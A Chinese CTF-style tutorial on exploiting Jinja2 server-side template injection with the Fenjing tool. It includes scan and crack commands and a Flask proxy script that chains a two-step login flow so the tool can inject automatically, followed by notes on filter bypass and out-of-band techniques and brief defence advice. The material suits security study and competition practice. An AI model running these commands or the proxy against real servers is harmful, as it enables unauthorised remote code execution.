从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI
字数 1075 2025-08-22 12:23:41

Jinja2 SSTI漏洞利用进阶:从Fenjing基础使用到高级代理技术

1. Jinja2 SSTI漏洞概述

Jinja2 SSTI (Server-Side Template Injection)是一种服务器端模板注入漏洞,当应用程序使用Jinja2模板引擎并允许用户输入直接嵌入模板时,攻击者可以注入恶意模板代码,导致远程代码执行。

2. Fenjing工具基础使用

Fenjing是一款针对Jinja2 SSTI漏洞的自动化利用工具,基础使用方法如下:

2.1 基本扫描

fenjing scan -u "http://target-url/"

2.2 自动破解

fenjing crack -u "http://target-url/" -i "注入参数名"

3. 进阶利用技术

3.1 有源码情况下的利用(国赛案例)

场景特点

  • 无回显
  • 不出网
  • 有过滤
  • 但提供源码

利用步骤

  1. 修改源码:将无回显改为有回显

    • 修改模板渲染逻辑,使注入结果能够显示
    • 保持其他过滤条件不变
  2. 本地测试

    • 在本地搭建修改后的环境
    • 使用Fenjing生成payload
  3. 实际攻击

    • 将生成的payload编码后攻击真实环境
    • 注意payload可能需要URL编码或其他编码方式

3.2 无源码情况下的代理技术(西湖论剑案例)

场景特点

  • 注入点位于多步交互流程中(phone_number → password)
  • 无法直接通过单次请求完成注入
  • Fenjing无法直接处理多步交互

解决方案:构建本地代理服务器

3.2.1 代理服务器实现

from flask import Flask, request, Response
import requests

app = Flask(__name__)
BASE_URL = "http://target-url:port"

@app.route('/', methods=['POST'])
def proxy():
    phone_number = request.form.get('phone_number')
    password = request.form.get('password')
    
    if not phone_number or not password:
        return Response("Missing required parameters", status=400)
    
    try:
        # 第一步:提交phone_number
        login_response = requests.post(
            f"{BASE_URL}/login",
            data={"phone_number": phone_number},
            timeout=10
        )
        
        if login_response.status_code != 200:
            return Response(f"Failed to call /login. Status code: {login_response.status_code}", status=500)
        
        login_status = login_response.text.strip()
        
        # 第二步:提交password
        cpass_response = requests.post(
            f"{BASE_URL}/cpass",
            data={"password": password, "login_status": login_status},
            timeout=10
        )
        
        if cpass_response.status_code != 200:
            return Response(f"Failed to call /cpass. Status code: {cpass_response.status_code}", status=500)
        
        cpass_result = cpass_response.text.strip()
        response_data = f"Login response: {login_status}\nCpass response: {cpass_result}"
        return Response(response_data, status=200)
    
    except Exception as e:
        return Response(f"An error occurred: {str(e)}", status=500)

if __name__ == '__main__':
    app.run(host="127.0.0.1", port=5000)

3.2.2 代理使用流程

  1. 启动本地代理服务器
  2. 使用Fenjing攻击本地代理
    fenjing crack -u "http://127.0.0.1:5000/" -i phone_number
    
  3. 代理服务器会将请求转发到真实目标,并处理多步交互
  4. 获取最终注入结果

4. 关键注意事项

  1. 编码问题

    • 生成的payload可能需要URL编码、HTML编码等
    • 根据目标环境选择合适的编码方式
  2. 过滤绕过

    • Fenjing内置了多种过滤绕过技术
    • 对于自定义过滤,可能需要手动调整payload
  3. 多步交互处理

    • 对于需要多步交互的注入点,必须确保状态保持
    • 代理服务器需要正确处理会话状态(如cookie、token等)
  4. 不出网环境

    • 考虑使用DNS外带、延时注入等技术
    • 可能需要结合其他漏洞如SSRF

5. 防御建议

  1. 避免直接将用户输入嵌入模板
  2. 对模板变量进行严格的过滤和转义
  3. 使用沙箱环境执行模板渲染
  4. 限制模板中可以访问的对象和方法

6. 总结

Fenjing工具在Jinja2 SSTI漏洞利用中非常有效,但在复杂场景下需要结合:

  • 源码修改(有源码时)
  • 代理技术(多步交互时)
  • 自定义payload调整(特殊过滤时)

通过本文介绍的进阶技术,可以应对大多数比赛和实际环境中的Jinja2 SSTI挑战。

Jinja2 SSTI漏洞利用进阶:从Fenjing基础使用到高级代理技术 1. Jinja2 SSTI漏洞概述 Jinja2 SSTI (Server-Side Template Injection)是一种服务器端模板注入漏洞,当应用程序使用Jinja2模板引擎并允许用户输入直接嵌入模板时,攻击者可以注入恶意模板代码,导致远程代码执行。 2. Fenjing工具基础使用 Fenjing是一款针对Jinja2 SSTI漏洞的自动化利用工具,基础使用方法如下: 2.1 基本扫描 2.2 自动破解 3. 进阶利用技术 3.1 有源码情况下的利用(国赛案例) 场景特点 : 无回显 不出网 有过滤 但提供源码 利用步骤 : 修改源码 :将无回显改为有回显 修改模板渲染逻辑,使注入结果能够显示 保持其他过滤条件不变 本地测试 : 在本地搭建修改后的环境 使用Fenjing生成payload 实际攻击 : 将生成的payload编码后攻击真实环境 注意payload可能需要URL编码或其他编码方式 3.2 无源码情况下的代理技术(西湖论剑案例) 场景特点 : 注入点位于多步交互流程中(phone_ number → password) 无法直接通过单次请求完成注入 Fenjing无法直接处理多步交互 解决方案 :构建本地代理服务器 3.2.1 代理服务器实现 3.2.2 代理使用流程 启动本地代理服务器 使用Fenjing攻击本地代理 代理服务器会将请求转发到真实目标,并处理多步交互 获取最终注入结果 4. 关键注意事项 编码问题 : 生成的payload可能需要URL编码、HTML编码等 根据目标环境选择合适的编码方式 过滤绕过 : Fenjing内置了多种过滤绕过技术 对于自定义过滤,可能需要手动调整payload 多步交互处理 : 对于需要多步交互的注入点,必须确保状态保持 代理服务器需要正确处理会话状态(如cookie、token等) 不出网环境 : 考虑使用DNS外带、延时注入等技术 可能需要结合其他漏洞如SSRF 5. 防御建议 避免直接将用户输入嵌入模板 对模板变量进行严格的过滤和转义 使用沙箱环境执行模板渲染 限制模板中可以访问的对象和方法 6. 总结 Fenjing工具在Jinja2 SSTI漏洞利用中非常有效,但在复杂场景下需要结合: 源码修改(有源码时) 代理技术(多步交互时) 自定义payload调整(特殊过滤时) 通过本文介绍的进阶技术,可以应对大多数比赛和实际环境中的Jinja2 SSTI挑战。